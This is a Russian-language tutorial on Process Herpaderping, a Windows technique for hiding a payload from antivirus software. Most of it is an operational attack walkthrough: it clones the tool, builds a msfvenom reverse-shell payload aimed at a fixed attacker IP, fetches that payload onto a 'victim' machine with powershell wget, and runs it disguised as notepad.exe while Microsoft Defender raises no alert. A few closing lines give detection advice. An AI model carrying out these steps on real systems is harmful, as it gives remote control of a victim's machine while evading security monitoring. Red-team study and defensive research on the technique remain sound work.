Хакеры, пентестеры и члены “красной команды” постоянно пытаются избежать обнаружения полезной нагрузки антивирусами. Для этого существуют различные техники – Herpaderping, Ghosting, Hollowing и Doppelgänging. В этой статье мы разберем только одну из них – Process Herpaderping.
Чтобы скрыть что-либо от антивируса, нам нужно понимать, как он узнает о запуске процесса в системе. Для получения информации о создании и завершении процессов в ядре Windows большая часть антивирусного ПО обращается к функции ядра PsSetCreateProcessNotifyRoutine. Когда процесс создается или завершается, PsSetCreateProcessNotifyRoutine создает соответствующее оповещение. В дальнейшем антивирус использует полученную информацию о процессах, чтобы отследить активность системы и защитить критические ресурсы. Однако проверка полученной информации начинается только тогда, когда инициируется первый поток соответствующего процесса, а не когда создается его объект. Это позволяет злоумышленникам создать и отобразить процесс, затем изменить содержимое файла и после этого создать первый поток.
Process Herpaderping используется для обхода антивирусных и защитных механизмов путем изменения содержимого файла после его отображения в памяти, но до того, как будет инициирован первый поток. Из-за этого антивирус не может понять, следует продолжать выполнение процесса или остановить его, поскольку файл, лежащий в его основе, уже изменился.
Рассмотрим создание процесса по шагам:
Чтобы все сработало как надо, копируем проект из GitHub и собираем его в удобном компиляторе (у нас это Visual Studio 2022).
git clone https://github.com/jxy-s/herpaderping.git
cd .\herpaderping
git submodule update --init --recursive
Копируем проект
Затем выполняем команду:
ProcessHerpaderping.exe [название файла с полезной нагрузкой] [название целевого исполняемого файла]
Создаем полезную нагрузку:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1234 -f exe > payload.exe
После этого передаем жертве исполняемый файл и полезную нагрузку:
powershell wget 192.168.0.89/payload.exe -O payload.exe
После успешной передачи полезной нагрузки мы запускаем исполняемый файл Process Herpaderping, чтобы запустить нашу полезную нагрузку, спрятав ее под видом другого исполняемого файла, например, notepad.exe:
ProcessHerpaderping.exe payload.exe notepad.exe
Как вы можете видеть, мы получили обратный shell на порт 1234. Это говорит о том, что все прошло успешно!
Если мы будем смотреть на атаку со стороны жертвы, то увидим подозрительные дочерние процессы, порожденные из легитимных исполняемых файлов. В нашем случае cmd.exe является дочерним процессом notepad.exe. Причем Microsoft Defender никак на это не реагирует!
В статье мы обсудили обход антивирусной защиты с помощью Process Herpaderping. Чтобы не стать жертвой атаки с использованием этой техники, настройте сигнатуры вашего антивирусного ПО на обнаружение и анализ поведения функций IRP_MJ_CLEANUP и NtCreateProcessEx. Кроме того, стоит использовать PsSetCreateThreadNotifyRoutineEx, так как первая функция получает callback до выполнения потока.